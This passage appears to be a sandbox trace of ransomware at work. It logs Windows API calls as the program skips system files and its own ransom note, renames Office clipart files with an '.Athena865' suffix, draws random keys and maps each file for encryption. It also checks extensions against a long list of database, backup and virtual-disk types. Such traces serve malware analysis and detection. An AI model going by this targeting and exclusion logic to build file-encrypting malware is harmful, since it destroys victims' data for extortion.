-1 [0129.242] lstrlenW (lpString=".dll") returned 4 [0129.242] lstrcmpiW (lpString1="J0250997.WMF", lpString2=".dll") returned 1 [0129.242] lstrlenW (lpString=".lnk") returned 4 [0129.242] lstrcmpiW (lpString1="J0250997.WMF", lpString2=".lnk") returned 1 [0129.242] lstrlenW (lpString=".ini") returned 4 [0129.242] lstrcmpiW (lpString1="J0250997.WMF", lpString2=".ini") returned 1 [0129.242] lstrlenW (lpString=".sys") returned 4 [0129.242] lstrcmpiW (lpString1="J0250997.WMF", lpString2=".sys") returned 1 [0129.243] lstrlenW (lpString="J0250997.WMF") returned 12 [0129.243] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF.Athena865") returned 73 [0129.243] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf.athena865"), dwFlags=0x1) returned 1 [0129.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.244] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26968) returned 1 [0129.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.244] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.245] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.245] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.245] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c60, lpName=0x0) returned 0x154 [0129.249] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c60) returned 0x100000 [0129.251] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.251] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.251] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.252] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.253] CloseHandle (hObject=0x154) returned 1 [0129.253] CloseHandle (hObject=0x17c) returned 1 [0129.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.253] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1100c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0251007.WMF", cAlternateFileName="")) returned 1 [0129.253] lstrcmpiW (lpString1="J0251007.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.253] lstrcmpiW (lpString1="J0251007.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.253] lstrcmpiW (lpString1="J0251007.WMF", lpString2=".") returned 1 [0129.253] lstrcmpiW (lpString1="J0251007.WMF", lpString2="..") returned 1 [0129.253] lstrcmpiW (lpString1="J0251007.WMF", lpString2="windows") returned -1 [0129.253] lstrcmpiW (lpString1="J0251007.WMF", lpString2="bootmgr") returned 1 [0129.253] lstrcmpiW (lpString1="J0251007.WMF", lpString2="temp") returned -1 [0129.253] lstrcmpiW (lpString1="J0251007.WMF", lpString2="pagefile.sys") returned -1 [0129.253] lstrcmpiW (lpString1="J0251007.WMF", lpString2="boot") returned 1 [0129.253] lstrcmpiW (lpString1="J0251007.WMF", lpString2="ids.txt") returned 1 [0129.253] lstrcmpiW (lpString1="J0251007.WMF", lpString2="ntuser.dat") returned -1 [0129.253] lstrcmpiW (lpString1="J0251007.WMF", lpString2="perflogs") returned -1 [0129.254] lstrcmpiW (lpString1="J0251007.WMF", lpString2="MSBuild") returned -1 [0129.254] lstrlenW (lpString="J0251007.WMF") returned 12 [0129.254] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0251007.WMF" | out: lpString1="J0251007.WMF") returned="J0251007.WMF" [0129.254] lstrlenW (lpString="J0251007.WMF") returned 12 [0129.254] lstrlenW (lpString="Athena865") returned 9 [0129.254] lstrcmpiW (lpString1="51007.WMF", lpString2="Athena865") returned -1 [0129.254] lstrlenW (lpString=".dll") returned 4 [0129.254] lstrcmpiW (lpString1="J0251007.WMF", lpString2=".dll") returned 1 [0129.254] lstrlenW (lpString=".lnk") returned 4 [0129.254] lstrcmpiW (lpString1="J0251007.WMF", lpString2=".lnk") returned 1 [0129.254] lstrlenW (lpString=".ini") returned 4 [0129.254] lstrcmpiW (lpString1="J0251007.WMF", lpString2=".ini") returned 1 [0129.254] lstrlenW (lpString=".sys") returned 4 [0129.254] lstrcmpiW (lpString1="J0251007.WMF", lpString2=".sys") returned 1 [0129.254] lstrlenW (lpString="J0251007.WMF") returned 12 [0129.254] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF.Athena865") returned 73 [0129.254] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf.athena865"), dwFlags=0x1) returned 1 [0129.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.256] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=69644) returned 1 [0129.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.256] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.257] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.257] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.257] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11310, lpName=0x0) returned 0x154 [0129.259] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11310) returned 0x100000 [0129.263] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.263] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.264] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.264] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.265] CloseHandle (hObject=0x154) returned 1 [0129.265] CloseHandle (hObject=0x17c) returned 1 [0129.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.266] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f1d4200, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f1d4200, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xae2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0252629.WMF", cAlternateFileName="")) returned 1 [0129.266] lstrcmpiW (lpString1="J0252629.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.266] lstrcmpiW (lpString1="J0252629.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.266] lstrcmpiW (lpString1="J0252629.WMF", lpString2=".") returned 1 [0129.266] lstrcmpiW (lpString1="J0252629.WMF", lpString2="..") returned 1 [0129.266] lstrcmpiW (lpString1="J0252629.WMF", lpString2="windows") returned -1 [0129.266] lstrcmpiW (lpString1="J0252629.WMF", lpString2="bootmgr") returned 1 [0129.266] lstrcmpiW (lpString1="J0252629.WMF", lpString2="temp") returned -1 [0129.266] lstrcmpiW (lpString1="J0252629.WMF", lpString2="pagefile.sys") returned -1 [0129.266] lstrcmpiW (lpString1="J0252629.WMF", lpString2="boot") returned 1 [0129.266] lstrcmpiW (lpString1="J0252629.WMF", lpString2="ids.txt") returned 1 [0129.266] lstrcmpiW (lpString1="J0252629.WMF", lpString2="ntuser.dat") returned -1 [0129.266] lstrcmpiW (lpString1="J0252629.WMF", lpString2="perflogs") returned -1 [0129.266] lstrcmpiW (lpString1="J0252629.WMF", lpString2="MSBuild") returned -1 [0129.266] lstrlenW (lpString="J0252629.WMF") returned 12 [0129.266] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0252629.WMF" | out: lpString1="J0252629.WMF") returned="J0252629.WMF" [0129.266] lstrlenW (lpString="J0252629.WMF") returned 12 [0129.266] lstrlenW (lpString="Athena865") returned 9 [0129.266] lstrcmpiW (lpString1="52629.WMF", lpString2="Athena865") returned -1 [0129.266] lstrlenW (lpString=".dll") returned 4 [0129.266] lstrcmpiW (lpString1="J0252629.WMF", lpString2=".dll") returned 1 [0129.266] lstrlenW (lpString=".lnk") returned 4 [0129.266] lstrcmpiW (lpString1="J0252629.WMF", lpString2=".lnk") returned 1 [0129.266] lstrlenW (lpString=".ini") returned 4 [0129.267] lstrcmpiW (lpString1="J0252629.WMF", lpString2=".ini") returned 1 [0129.267] lstrlenW (lpString=".sys") returned 4 [0129.267] lstrcmpiW (lpString1="J0252629.WMF", lpString2=".sys") returned 1 [0129.267] lstrlenW (lpString="J0252629.WMF") returned 12 [0129.267] lstrlenW (lpString="bak") returned 3 [0129.267] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0129.267] lstrlenW (lpString="ba_") returned 3 [0129.267] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0129.267] lstrlenW (lpString="dbb") returned 3 [0129.267] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0129.267] lstrlenW (lpString="vmdk") returned 4 [0129.267] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0129.267] lstrlenW (lpString="rar") returned 3 [0129.267] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0129.267] lstrlenW (lpString="zip") returned 3 [0129.267] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0129.267] lstrlenW (lpString="tgz") returned 3 [0129.267] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0129.267] lstrlenW (lpString="vbox") returned 4 [0129.267] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0129.267] lstrlenW (lpString="vdi") returned 3 [0129.267] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0129.267] lstrlenW (lpString="vhd") returned 3 [0129.267] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0129.267] lstrlenW (lpString="vhdx") returned 4 [0129.267] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0129.267] lstrlenW (lpString="avhd") returned 4 [0129.268] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0129.268] lstrlenW (lpString="db") returned 2 [0129.268] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0129.268] lstrlenW (lpString="db2") returned 3 [0129.268] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0129.268] lstrlenW (lpString="db3") returned 3 [0129.268] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0129.268] lstrlenW (lpString="dbf") returned 3 [0129.268] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0129.268] lstrlenW (lpString="mdf") returned 3 [0129.268] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0129.268] lstrlenW (lpString="mdb") returned 3 [0129.268] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0129.268] lstrlenW (lpString="sql") returned 3 [0129.268] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0129.268] lstrlenW (lpString="sqlite") returned 6 [0129.268] lstrcmpiW (lpString1="29.WMF", lpString2="sqlite") returned -1 [0129.268] lstrlenW (lpString="sqlite3") returned 7 [0129.268] lstrcmpiW (lpString1="629.WMF", lpString2="sqlite3") returned -1 [0129.268] lstrlenW (lpString="sqlitedb") returned 8 [0129.268] lstrcmpiW (lpString1="2629.WMF", lpString2="sqlitedb") returned -1 [0129.268] lstrlenW (lpString="xml") returned 3 [0129.268] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0129.268] lstrlenW (lpString="$er") returned 3 [0129.268] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0129.268] lstrlenW (lpString="4dd") returned 3 [0129.268] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0129.268] lstrlenW (lpString="4dl") returned 3 [0129.269] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0129.269] lstrlenW (lpString="^^^") returned 3 [0129.269] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0129.269] lstrlenW (lpString="abs") returned 3 [0129.269] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0129.269] lstrlenW (lpString="abx") returned 3 [0129.269] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0129.269] lstrlenW (lpString="accdb") returned 5 [0129.269] lstrcmpiW (lpString1="9.WMF", lpString2="accdb") returned -1 [0129.269] lstrlenW (lpString="accdc") returned 5 [0129.269] lstrcmpiW (lpString1="9.WMF", lpString2="accdc") returned -1 [0129.269] lstrlenW (lpString="accde") returned 5 [0129.269] lstrcmpiW (lpString1="9.WMF", lpString2="accde") returned -1 [0129.269] lstrlenW (lpString="accdr") returned 5 [0129.269] lstrcmpiW (lpString1="9.WMF", lpString2="accdr") returned -1 [0129.269] lstrlenW (lpString="accdt") returned 5 [0129.269] lstrcmpiW (lpString1="9.WMF", lpString2="accdt") returned -1 [0129.269] lstrlenW (lpString="accdw") returned 5 [0129.269] lstrcmpiW (lpString1="9.WMF", lpString2="accdw") returned -1 [0129.269] lstrlenW (lpString="accft") returned 5 [0129.269] lstrcmpiW (lpString1="9.WMF", lpString2="accft") returned -1 [0129.269] lstrlenW (lpString="adb") returned 3 [0129.269] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.269] lstrlenW (lpString="adb") returned 3 [0129.269] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.269] lstrlenW (lpString="ade") returned 3 [0129.269] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0129.269] lstrlenW (lpString="adf") returned 3 [0129.270] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0129.270] lstrlenW (lpString="adn") returned 3 [0129.270] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0129.270] lstrlenW (lpString="adp") returned 3 [0129.270] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0129.270] lstrlenW (lpString="alf") returned 3 [0129.270] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0129.270] lstrlenW (lpString="ask") returned 3 [0129.270] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0129.270] lstrlenW (lpString="btr") returned 3 [0129.270] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0129.270] lstrlenW (lpString="cat") returned 3 [0129.270] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0129.270] lstrlenW (lpString="cdb") returned 3 [0129.270] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0129.270] lstrlenW (lpString="ckp") returned 3 [0129.270] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0129.270] lstrlenW (lpString="cma") returned 3 [0129.270] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0129.270] lstrlenW (lpString="cpd") returned 3 [0129.270] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0129.270] lstrlenW (lpString="dacpac") returned 6 [0129.270] lstrcmpiW (lpString1="29.WMF", lpString2="dacpac") returned -1 [0129.270] lstrlenW (lpString="dad") returned 3 [0129.270] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0129.270] lstrlenW (lpString="dadiagrams") returned 10 [0129.270] lstrcmpiW (lpString1="252629.WMF", lpString2="dadiagrams") returned -1 [0129.270] lstrlenW (lpString="daschema") returned 8 [0129.271] lstrcmpiW (lpString1="2629.WMF", lpString2="daschema") returned -1 [0129.271] lstrlenW (lpString="db-journal") returned 10 [0129.271] lstrcmpiW (lpString1="252629.WMF", lpString2="db-journal") returned -1 [0129.271] lstrlenW (lpString="db-shm") returned 6 [0129.271] lstrcmpiW (lpString1="29.WMF", lpString2="db-shm") returned -1 [0129.271] lstrlenW (lpString="db-wal") returned 6 [0129.271] lstrcmpiW (lpString1="29.WMF", lpString2="db-wal") returned -1 [0129.271] lstrlenW (lpString="dbc") returned 3 [0129.271] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0129.271] lstrlenW (lpString="dbs") returned 3 [0129.271] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0129.271] lstrlenW (lpString="dbt") returned 3 [0129.271] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0129.271] lstrlenW (lpString="dbv") returned 3 [0129.271] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0129.271] lstrlenW (lpString="dbx") returned 3 [0129.271] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0129.271] lstrlenW (lpString="dcb") returned 3 [0129.271] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0129.271] lstrlenW (lpString="dct") returned 3 [0129.271] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0129.271] lstrlenW (lpString="dcx") returned 3 [0129.271] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0129.271] lstrlenW (lpString="ddl") returned 3 [0129.271] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0129.271] lstrlenW (lpString="dlis") returned 4 [0129.271] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0129.271] lstrlenW (lpString="dp1") returned 3 [0129.272] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0129.272] lstrlenW (lpString="dqy") returned 3 [0129.272] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0129.272] lstrlenW (lpString="dsk") returned 3 [0129.272] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0129.272] lstrlenW (lpString="dsn") returned 3 [0129.272] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0129.272] lstrlenW (lpString="dtsx") returned 4 [0129.272] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0129.272] lstrlenW (lpString="dxl") returned 3 [0129.272] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0129.272] lstrlenW (lpString="eco") returned 3 [0129.272] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0129.272] lstrlenW (lpString="ecx") returned 3 [0129.272] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0129.272] lstrlenW (lpString="edb") returned 3 [0129.272] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0129.272] lstrlenW (lpString="epim") returned 4 [0129.272] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0129.272] lstrlenW (lpString="fcd") returned 3 [0129.272] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0129.272] lstrlenW (lpString="fdb") returned 3 [0129.272] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0129.272] lstrlenW (lpString="fic") returned 3 [0129.272] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0129.272] lstrlenW (lpString="flexolibrary") returned 12 [0129.272] lstrlenW (lpString="fm5") returned 3 [0129.272] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0129.273] lstrlenW (lpString="fmp") returned 3 [0129.273] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0129.273] lstrlenW (lpString="fmp12") returned 5 [0129.273] lstrcmpiW (lpString1="9.WMF", lpString2="fmp12") returned -1 [0129.273] lstrlenW (lpString="fmpsl") returned 5 [0129.273] lstrcmpiW (lpString1="9.WMF", lpString2="fmpsl") returned -1 [0129.273] lstrlenW (lpString="fol") returned 3 [0129.273] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0129.273] lstrlenW (lpString="fp3") returned 3 [0129.273] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0129.273] lstrlenW (lpString="fp4") returned 3 [0129.273] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0129.273] lstrlenW (lpString="fp5") returned 3 [0129.273] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0129.273] lstrlenW (lpString="fp7") returned 3 [0129.273] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0129.273] lstrlenW (lpString="fpt") returned 3 [0129.273] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0129.273] lstrlenW (lpString="frm") returned 3 [0129.273] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0129.273] lstrlenW (lpString="gdb") returned 3 [0129.273] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0129.273] lstrlenW (lpString="gdb") returned 3 [0129.273] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0129.273] lstrlenW (lpString="grdb") returned 4 [0129.273] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0129.273] lstrlenW (lpString="gwi") returned 3 [0129.273] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0129.274] lstrlenW (lpString="hdb") returned 3 [0129.274] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0129.274] lstrlenW (lpString="his") returned 3 [0129.274] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0129.274] lstrlenW (lpString="ib") returned 2 [0129.274] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0129.274] lstrlenW (lpString="idb") returned 3 [0129.274] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0129.274] lstrlenW (lpString="ihx") returned 3 [0129.274] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0129.274] lstrlenW (lpString="itdb") returned 4 [0129.274] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0129.274] lstrlenW (lpString="itw") returned 3 [0129.274] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0129.274] lstrlenW (lpString="jet") returned 3 [0129.274] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0129.274] lstrlenW (lpString="jtx") returned 3 [0129.274] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0129.274] lstrlenW (lpString="kdb") returned 3 [0129.274] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0129.274] lstrlenW (lpString="kexi") returned 4 [0129.274] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0129.274] lstrlenW (lpString="kexic") returned 5 [0129.274] lstrcmpiW (lpString1="9.WMF", lpString2="kexic") returned -1 [0129.274] lstrlenW (lpString="kexis") returned 5 [0129.274] lstrcmpiW (lpString1="9.WMF", lpString2="kexis") returned -1 [0129.274] lstrlenW (lpString="lgc") returned 3 [0129.275] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0129.275] lstrlenW (lpString="lwx") returned 3 [0129.275] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0129.275] lstrlenW (lpString="maf") returned 3 [0129.275] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0129.275] lstrlenW (lpString="maq") returned 3 [0129.275] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0129.275] lstrlenW (lpString="mar") returned 